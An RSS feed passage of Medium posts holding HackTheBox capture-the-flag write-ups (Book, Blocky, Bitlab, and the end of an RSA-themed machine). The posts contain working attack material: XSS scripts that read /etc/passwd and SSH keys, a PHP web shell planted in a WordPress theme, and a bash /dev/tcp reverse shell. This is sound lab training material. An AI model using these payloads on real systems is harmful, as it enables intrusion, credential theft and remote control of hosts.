src="https://cdn-images-1.medium.com/max/1024/1*9pX8Dhnva0LksnWS-0J4kg.png" /></figure><p>upon removing wp-admin/admin-ajax.php…. I got the access to the admin panel …..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3L2fDJVbXrbgAHjNa-9emg.png" /></figure><p>navigate to the dashboard on the admin panel ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNQWE8AE5_ac0WISjoMi-Q.png" /></figure><p>in the easy wp SMTP find the password to the SMTP user…. let’s try our luck again with SMTP after a lot of trial and errors I succeeded in getting data on the INBOX mails</p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-imap">https://book.hacktricks.xyz/network-services-pentesting/pentesting-imap</a></p><p>LINK to the Resource .!!!!! I used to navigate in IMAP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXuJ55Q0FWFFUqVCa5QB5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CF1EVJ0UfN9ALCg6m-0YMA.png" /></figure><p>NOW that I have this it is time to login to the secret server which was shown in the nmap output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AO3ytabglroqTB_Txb-a3g.png" /></figure><p>Logged in to the forum as orestis ……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfdSv_syAwrawb2xvphLlA.png" /></figure><p>In the encrypted text we can find that it is some sort of Vigenère cipher <br>and <br>OrestisHackingforfunandprofit — seems to be a key</p><p>let’s try it on</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GsV1B1eh4SABecgcCcRTbA.png" /></figure><p>it does seem like we have stumbled on something important</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXsRvvj_7Nyom2atsiMpOw.png" /></figure><p>upon trying it here we are unable to make sense of the plaintext so i tried</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_FaMJ179qcnmZS_617cRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*NhJwWWD31aFEQFtwCRXXMA.png" /></figure><p>So now we have the id_rsa file with us</p><p>let’s try to login with this as orestis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*1UJFUFd9EyK1-eUgeY9_fA.png" /></figure><p>It seems like encrypted let do ssh2jhon here for easily decrypting it..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxNA0ivUM0MmxzqMwd8HUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*o2udt24-uqf6ckI8w_v2tA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*OfvzyZ4OXYkbcRvylKpDTg.png" /></figure><p>Using the key i have successfully logged in as orestis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*U7lFOpCjJxlO2iQKOaa9YQ.png" /></figure><p>after moving around in the user directory i found files with <br>p,q and e value | ciphertext | a code with RSA encryption</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYRkiRY7Qm1DhUJfsV4iVQ.png" /></figure><p>so next thing i did is to write a python script to decrypt using these values</p><blockquote><em>import </em>math<br><em>import </em>random</blockquote><blockquote><em>def </em>inverse(a, n):<br> <em>return </em>pow(a, -1, n)</blockquote><blockquote><em>def </em>decrypt_rsa(ciphertext, n, p, q, e):<br> <em># Step 1: Calculate the totient of N<br> </em>phi = (p — 1) * (q — 1)</blockquote><blockquote><em># Step 2: Find the private exponent d<br> </em>d = inverse(e, phi)</blockquote><blockquote><em># Step 3: Decrypt the message<br> </em>plaintext = pow(ciphertext, d, n)<br> <em>return </em>plaintext</blockquote><blockquote><em>def </em>lcm(a, b):<br> <em>return </em>abs(a*b) // math.gcd(a, b)</blockquote><blockquote>ciphertext = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182</blockquote><blockquote>p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307<br>q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079<br>n = p*q</blockquote><blockquote>e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997</blockquote><blockquote>decrypted_message = decrypt_rsa(ciphertext, n, p, q, e)<br>print(“Decrypted message:”, decrypted_message)</blockquote><p>After running the code i got this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NG9t8JH2Pqe3XCzanzO0Q.png" /></figure><p>if you see the encryption code we can see that the main text is converted to hex then RSA is performed on it so lets do HEX -&gt; Decimal</p><p>I added some extra lines in the code to aid further process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SD-39Qje9Jw5nFhbIv_YKA.png" /></figure><p>upon submission of this flag I finally rooted the machine!!!!</p><p>🎉🎉🎉😁 HAPPY HACKING !!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcYwuyPTGurH3hZ42gHMiw.png" /></figure><p>My review:</p><p>Overall I think the room is old hence it should be transitioned to HARD not INSANE as the amount of resources have increased now.. Other than that getting the user access is a little tricky as it requires a little trial and error. And talking about the root access it is not that tough if you are familiar with a little scripting and RSA algorithm. Overall the room was fun and CRYPTIC mostly. THIS room will require you to put on your CRYPTO cap…</p><h3>Join me on various platforms to discuss Cybersecurity and Cloud-related topics. From security best practices to cloud infrastructure, let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e916182a42db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BOOK — HTB Machine]]></title>
            <link>https://rishabhrai02.medium.com/book-htb-machine-15b28d412602?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/15b28d412602</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[logrotten]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Sat, 23 Mar 2024 19:15:00 GMT</pubDate>
            <atom:updated>2024-03-23T19:15:00.326Z</atom:updated>
            <content:encoded><![CDATA[<h3>BOOK — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O05T5tBH2yOj8dTcja0n2A.png" /></figure><p>A medium Linux machine is a great way to keep yourself busy on the weekends… let’s get started with the scanning of the IP.</p><p>I use my personal script to scan the IP …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Bv4DZZsqHMTzfZuVZVqDg.png" /></figure><p>in the fast scan — — i got these two classic ports open</p><p>Then I ran a dibuster to find out about the directories and map those ….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AE0VWrZnKOlWVfFNbztZqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q0qxMLHof-Pah4QyMVl2mA.png" /></figure><p>To narrow down the places to scan…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FA2lLMkUd_1JaN6Vr9fBLQ.png" /></figure><p>Let’s sign up to login on the page….</p><p>Greeted with Library Home Page… Will explore the functionalities available on this page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNvD2jIK1g8sABYlusYLGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jz2gtPXjCVW6ejIIoNnAUA.png" /></figure><p>payload.php was uploaded but there is place to find it, I tried to access docs but it is my permissions are not enough to access and there is no other way i found where the uploaded files are stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VGw6TqVEYAOM9XT6YD4nxw.png" /></figure><p>admin@book.htb — — — ADMIN E-Mail …. can be useful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTPlJ1VjUjEtJveTQTGCzA.png" /></figure><p>a edit profile option is also present…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XOnNtZR28s2y6Gpdvlx4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZhGj_0ebnAy7QdAyv7wVA.png" /></figure><p>Couldn’t find anything useful related to XSS but only 10 characters are available for username….. <br>since it is updating value so there might be some way to connect this with database vulnerabilities specially SQL related…</p><p>So upon trying several times and reading a java scipt note on the page i found out that</p><p>name can be 10 char long <br>email can be 20 char long</p><p>with right number of spaces</p><p>I used <br>admin@book.htb++++++ in place of admin@book.htb</p><p>giving me access to the page as admin user!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yxypKNA7RyqcKPUm6tf8Vg.png" /><figcaption>this a little bit more extra than the email limit !!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*nX15lSrdARnBaHXPl-kI_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pf52M4Wk_sz4bBgJ_tURA.png" /></figure><p>was still signed in as a user so to get the admin access i had to login through the admin portal let’s go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*pux5pRJ3qr-XcRtwWW6ASQ.png" /></figure><p>While trying this it is saying Nope So let’s get in via BURP …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oc_tZfCNczJ4OOak0umIlg.png" /></figure><p>999 tries later ….. We are finally in as admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*YNvWV9YzvT64psQz.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFduTUTY90hZTSGwJK0LNA.png" /></figure><p>Upon loggin in and clicking on collection data we are getting this table and with a little tweaking in the author name we can do this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*SLlKCwsTmwq7OOnn3Hr-dg.png" /></figure><p>I have used img tag to direct a request on my IP let’s see if it works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XC3nYq3VWHD6ws_SrB0cg.png" /></figure><p>YESS it does…</p><p>Now let’s try to exploit this in order to get something useful to get a foothold on the machine</p><p>Upon searching Javascript for local file read and XSS for local file read, I found this link helpful :</p><p><a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf">Server Side XSS (Dynamic PDF) | HackTricks | HackTricks</a></p><blockquote>&lt;script&gt;<br>x=new XMLHttpRequest;<br>x.onload=function(){document.write(btoa(this.responseText))};<br>x.open(“GET”,”file:///etc/passwd”);x.send();<br>&lt;/script&gt;</blockquote><p>With a script to read etc/passwd, i read this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yga2sx6SuGQN1KQxAVH4qQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFZE62PmWxNngW3DqNTWfw.png" /></figure><p>Now that we have this we can move further to get a reverse shell if possible</p><blockquote>&lt;script&gt;<br>x = new XMLHttpRequest();<br>x.onload = function() {<br> var content = this.responseText;<br> var boxedContent = ‘&lt;div style=”border: 1px solid black; padding: 10px; margin: 10px; font-family: monospace; font-size: 12px; max-height: 400px; overflow: auto;”&gt;&lt;pre&gt;’ + content + ‘&lt;/pre&gt;&lt;/div&gt;’;<br> document.body.innerHTML = boxedContent;<br>};<br>x.open(“GET”, “file:///home/reader/.ssh/id_rsa”);<br>x.send();<br>&lt;/script&gt;</blockquote><p>After rigorous trial and error i finally found a good code to show me id_rsa key properly ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMOAQtAXs5KrNlWxL-wymA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rke_lNgmy878iY4xup3Rlg.png" /></figure><p>Finally the foothold ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*v1vyIzXyb-7JHbAlqA4sEw.png" /></figure><p>with that user flag is submitted !!</p><p>To analyse the machine better i wget LINPEAS.SH on the machine and then in the output i find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*5XfgS_5hYDVbPZx8Nq6FhQ.png" /></figure><p>access.log file in the reader/backups directory !!</p><p>Where we have writing access !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NyFx21YvtRxelWh9MWNeA.png" /></figure><p>coming to the <a href="https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist">checklist</a> I find this … searching for logtotten exploit redirects me to logrotate exploit … Hence there we Go</p><p>With an article’s help I found pspy32 and upon using that I got that logrotate is being used on log.cfg related to this there is a vulnerability and this version is also vulnerable to that vulnerabilty which might help me to get a root shell on the box :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*cPk5jtEV99qIAoLxOMW-1g.png" /></figure><p>I transferred logrotten to the target machine and upon compiling the file with gcc I got an executable…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*B8lLS1jZQqjDbt5EeW3ClQ.png" /></figure><p>and with the steps given in the README.md I m hoping to get root shell …..</p><p>Let’s execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*iCqiZOmAxDdYew6PE-2NJg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbJuyL8Qisrp8O8PNhCZiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*NdvbCs_hiytYH2AEfbOFgw.png" /></figure><p>Let’s wait for sometime to see if we get a call back or not…</p><p>Ok so i tried everything but it was not working so it was time to get a little creative i thought if i can not connect to the server maybe there is some issue then i should try to at least read it and save it some place safe….</p><p>So with this i changed the payload.sh to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTb1n5HNDTR7_G50AhnCqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*Xb1uz4NK0c5xBlz0Gq-jrA.png" /></figure><p>And after less than a minute i got the flag……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*nEJtBD4pCIM3XtTGRKiwOQ.png" /></figure><p>AND the task is completed but if someone has connected sucessfully to the box recently then pls share your thought about what could have went wrong in connecting to the machine..</p><p>THANKS…..</p><p>My Reveiw: <br>A very interesting room on exploiting SQL truncation, but getting anything done on the root side is a hustle in itself …. After trying a lot of time to connect in the end i had to take the high road and get creative about it… But it is indeed a learning lesson and I loved the Machine 🎉🥳</p><h3>Join me on various platforms to discuss Cybersecurity and Cloud-related topics. From security best practices to cloud infrastructure, let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15b28d412602" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blocky | HTB Machine]]></title>
            <link>https://rishabhrai02.medium.com/blocky-htb-machine-56ccfef8f4be?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/56ccfef8f4be</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Thu, 25 Jan 2024 01:11:24 GMT</pubDate>
            <atom:updated>2024-01-25T01:13:55.816Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone today we are going to solve a new machine Blocky, So let’s spawn the machine and get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7YjdY-IG-z0z7wQVJehuQ.png" /></figure><p>Here is the IP and using my nmap script let’s fetch some information about the services and ports on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swDM7EiHMlP5Z415lpDoVQ.png" /></figure><p>As we can see there are a handful of ports and services open on the machine, my favourite being the minecraft……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*4UXC--OgXqy1eoQMNuCi5A.gif" /></figure><p>Let’s craft a perfect plan to pwn this machine………..<br>Frist thing first we have an FTP port open an it is running a ProFTPD 1.3.5a since the scan script didn’t show any anonymous login meaning we are clear on that let’s find if this version of ftp is vulnerable</p><p>After several tries i could find any vulnerabilities in the ftp server so i moved to the HTTP port and it is important to move ahead instead of getting stuck at a single port, because some times it is just there to waste your time or maybe you require to think some different approach which would be only possible if you move ahead and visit it back after sometime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsCK_UNp3fxMnRk3ASPBrQ.png" /></figure><p>upon running the dirsearch command, I found that we have Wordpress running, and phpadmin . <br>Upon analyzing i saw plugins directory which had some interesting jar files. Upon downloading i unzipped it as well.</p><p>Visiting the Web page also revealed some information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CrBPZXbntE-CkZ9_9kOGdg.png" /></figure><p>There is a post written by the NOTCH, this could be the potential username for the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*Ma_lFwJxCD25HturYHw_Bw.png" /></figure><p>From the downloaded directories I also found a direcoty named BlockyCore which gave me a class file but it needed to be decompiled.</p><blockquote>Upon looking in the internet i Found this link <br><a href="https://www.benf.org/other/cfr/">https://www.benf.org/other/cfr/</a></blockquote><p>Which is for a cmd level decompiler for java/jar files…. <br>I downoaded it and then used a simple command</p><blockquote>java -jar cfr-0.152.jar &lt;classfile&gt; &gt; &lt;outputjavafile&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FR-oLCPGdZ0nydpBraIVsg.png" /></figure><p>upon running that command I simply cat the java output file it gave me a set of credentials…</p><p>I applied and tried to use this credentials in various places because there was no sign of a sql server that i could access directly on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRWF3Ic6k-jY1J-4zGwf-Q.png" /></figure><p>I tried to input this password for admin, root and notch as well. <br>But no luck there ……</p><p>Now if you remember that we had the some endpoints for PHPADMIN so let’s move our focus to that because this seems to be a dead end.</p><p>upon visiting the phpMyAdmin, I logged in directly using the same creds …..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*nxD-RVDORVIJqIQmFT267Q.gif" /></figure><p>I went to wordpress and then to users and I found the credentials for NOTCH…..</p><p>Let’s change it for fun, I can use this one as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uiC1gBQmk_fQ3MECbtxZNg.png" /></figure><p>I tried changing it without backing up the previous one and now this one does not work..</p><p>I might have broken it or so to find what was wrong when I saw the password it did look like hash meaning that the pass is stored in form of a hash.</p><p>Upon searching it on the internet that hwo does phpMyAdmin stores password. I found this…</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*mvGDch9JB3TbCWMwA4iHRw.png" /></figure><p>So let us generate the hash…….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*h60p0d_Bwthy25k0FAf5rg.png" /><figcaption>$2y$10$dVcoqfvvhhr9ATNbfoLshOoJWDRjZ.HaFz79c7IfVQsD3dONR9Mk.</figcaption></figure><p>And using the password I logged in to wordpress admin……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFxAu6qzeWfLKXyOUbmheA.png" /></figure><p>Going to themes and then editor I changed the pages header to my php reverse shell code but id did not work as expected……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*JiiWgFSN0scRoNrp0evM-w.png" /></figure><p>This seems to be a very unstable connection so what i can try id to do a command injection instead. <br>I took reference from this site:</p><p><a href="https://www.cobalt.io/blog/a-pentesters-guide-to-code-injection">A Pentester&#39;s Guide to Code Injection | Cobalt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSi7IHojEugJF6LRA9H64A.png" /></figure><p>&lt;?php system($_GET[‘cmd’]); ?&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORQyZ30Wb15K3rZXPK8_Uw.png" /></figure><p>I have added the command injection code in the php….. <br>now with the CMD parameter i can call command on the shell with www-data privilege most likely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*VObUFkqx7RHEpQ6ZPj4LrQ.png" /></figure><p>Here we have it running so let us get a reverse shell command and try to spawn a reverse shell……</p><pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rePnNMdoOBuRFMMyuVN5sg.png" /></figure><p>This did not work because while inputting something from the URL directly it encodes the values making your command irrelevant so let us catch this request and then input our command …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Fg_2yATfGPAI5urpZRF8tA.gif" /></figure><p>It’s time to burp …… A little burp can fix everything !! <br>Upon failing sometimes I had to change my php payload to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CrQaswtVcs-l1ieUIo8FXQ.png" /></figure><p>And then I hit cmd to cath the request and then change the request method to POST, and URL encode the command properly using CTRL+U…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*wwlXq7pU5dKUmwzDHKUSCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*7Stk6r9z85iPrY8pntOZKA.png" /></figure><p>Upon looking around i found this password but it was not usable so I thought why not try it for root and notch…. <br>but due to /bin/bash -i spawned shell I couldn’t</p><p>So I hit exit and then spawn a bash shell using python3 as python was not available….</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*PT9Fzslitw5NPTvXuB2jOQ.png" /></figure><p>NOW let us first get the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*1WLaAE3UXzhncgJm6aDfCA.png" /></figure><p>And when i checked SUDO -l i found that <br>notch can run any command on the system using sudo <br>So a simple sudo -i <br>spawned me a root shell giving me complete control ……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*o-BiFX4pXXo6sb4aRZ-JtA.png" /></figure><p>I must say they put a lot of things in the user flag that they gave the root flag complementary …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*DvH63Epw1M9QhYGvU4F1gQ.gif" /></figure><p>Just like that the machine is PWNED and we live another day to hack some more machines …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*e6bL4oW-6wGGTrpqz7JJlg.png" /></figure><p>My review : Getting the user flag was really some work it included exploiting wordpress and navigation through phpmyadmin as well. And then spawning the shell was also little tricky….. But the root flag was too easy… Overall the machine was good DECOMPILING java file was a good way to start……</p><h3>Join me on various platforms to discuss Cybersecurity and Cloud-related topics. From security best practices to cloud infrastructure, let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56ccfef8f4be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bitlab — HTB Machine]]></title>
            <link>https://rishabhrai02.medium.com/bitlab-htb-machine-734db493579b?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/734db493579b</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 15:11:52 GMT</pubDate>
            <atom:updated>2024-01-14T15:13:28.909Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bitlab — HTB Machine</h3><p>Hello everyone, I am present here with a new machine of medium level difficulty. Let’s dive right in this machine…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w202MdOssUsZsaCwXWEDVA.png" /></figure><p>Okay so let’s get started wtih the nmap scans on the IP now in order to automate this process as i talked in my last blog. I wrote a small script to help me with this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRNpzMWo8T13nglVwISqNg.png" /><figcaption>automate scan script Nmap</figcaption></figure><p>This script helps in scanning by firing up two small scans in two different windows and in the background also starts a bigger scan and one more added benefit to it is that. This will run a dirsearch scan if any open port is found. Which is really helpful sometimes.</p><p>Will rectify it more in coming time and then might also write a blog about the whole process….. But let’s leave this story for other time..</p><p>I moved my script to /usr/bin in order to access it from anywhere, you can also add the location of the file to PATH env and then run it from anywhere.</p><p>Anyways, I fired up my script by doing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*WkV9qkXxNOf0ZHEHczhLbQ.png" /></figure><p>which is</p><blockquote>hackscanner &lt;IP&gt; output_file name</blockquote><p>This stores the nmap scan in the same folder it is triggered from and also saves the output of dirsearch scan in a specified folder.</p><p>After the scan is complete i found this output from the nmap file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6sbqPfthvUCyxR4DrhvOoQ.png" /></figure><p>In the output we can see that there is one ssh port open and one http service on port 80 even though it seems closed. I added the IP to the /etc/hosts and the script also ran a disearch scan on the port and IP.</p><p>And the stored output was this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Rp0jqhfibyEwuR2iftNiEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9z9ZfBQxu-11FOsyyc3SpA.png" /><figcaption>Gitlab Login page</figcaption></figure><p>Since the output was a little clustered i thought of removing some of the status and extension which were causing a lot of false positives.</p><p>Anyhow upon taking a closer look i visited the first page which was robots.txt</p><blockquote>dirsearch -u “<a href="http://bitlab.htb/">http://bitlab.htb:80</a>&quot; -e * -f -r “(?i)200|30[1–8]|50[0–9]” — exclude-status “401,404,400” — exclude-ext zip -o</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbNwpDcQswCW9SrEFx3uNw.png" /></figure><p>After sometime i went to the help page and there I found a link to the Gitlab_Login but when i clicked the link it was not working so i went to check it from the page source and i found out this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55IndOQlkoNIs9xCr6sJGg.png" /></figure><p>seems like a javascript funciton….. let’s give it a closer look by copying and analysing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epYu4kYBkZPXIGeTgRx5Kg.png" /></figure><p>since it was under the name of gitlab login, I pasted it on the login page and then automatically it wrote the credentials for me and seems like we are in the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*VZafL2vLyJzBSeyuN5bEUQ.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zfmGbxsgfjFdRmKvYvEYag.png" /></figure><p>we are the administrator and we have two personal projects…. lets have a look at both of them…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8cRAkksMTt6zZL1D9onLw.png" /></figure><p>Looking at this code it is checking if the repo is Profile and branch is master and the event is for merge request and the status is merged then</p><p>shell_exec runs git pull …… on the server so let us write something in the profile repo and let is git pull on the server…</p><p>So upon comitting and merging a branch from master branch we can see that it sticks there only and git pull must be taken by the code it self so.. all I have to do now is to put a reverse shell file and then commit and merge it to be able to exist on the server and making it easy for me to load the file and get a reverse shell foot hold on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nkq1ZZLa6oPZx_ll0rTq-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbgUhR3vleHVZiv8M87dGQ.png" /><figcaption>afte merging and waiting for some time</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ve3OgHcfNlwlfktRJX_hoA.png" /></figure><p>we have got the initial foothold on the machine</p><p>but upon getting the shell we couldn’t directly get the user shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCQgpNzlf1YIN2tUgM3g-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g5Za7IjRF7YNvsdMAzDv3Q.png" /></figure><p>we have a todo and creds to postgresql which we stumbled upon while the initial exploration of the gitlab account..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*4S0gC5shFy9T4G2egd7sOQ.png" /></figure><p>upon lookign at the netstat output we can see some of my http instances connected and one is my curent shell session. Other than that we have 5432 and 3000 port in which 5432 is interesting as it directs us towards postgresql.</p><p>Since i already ahd the snippet i just googled and completed it to be able to run and print me the data that i rquire</p><blockquote>&lt;?php<br>$db_connection = pg_connect(“host=localhost dbname=profiles user=profiles password=profiles”);<br>$result = pg_query($db_connection, “SELECT * FROM profiles”);</blockquote><blockquote>while ($row = pg_fetch_assoc($result)) {<br> // Process each row of data, e.g., print it<br> print_r($row);<br>}</blockquote><blockquote>pg_close($db_connection);<br>?&gt;</blockquote><figure><img alt="" 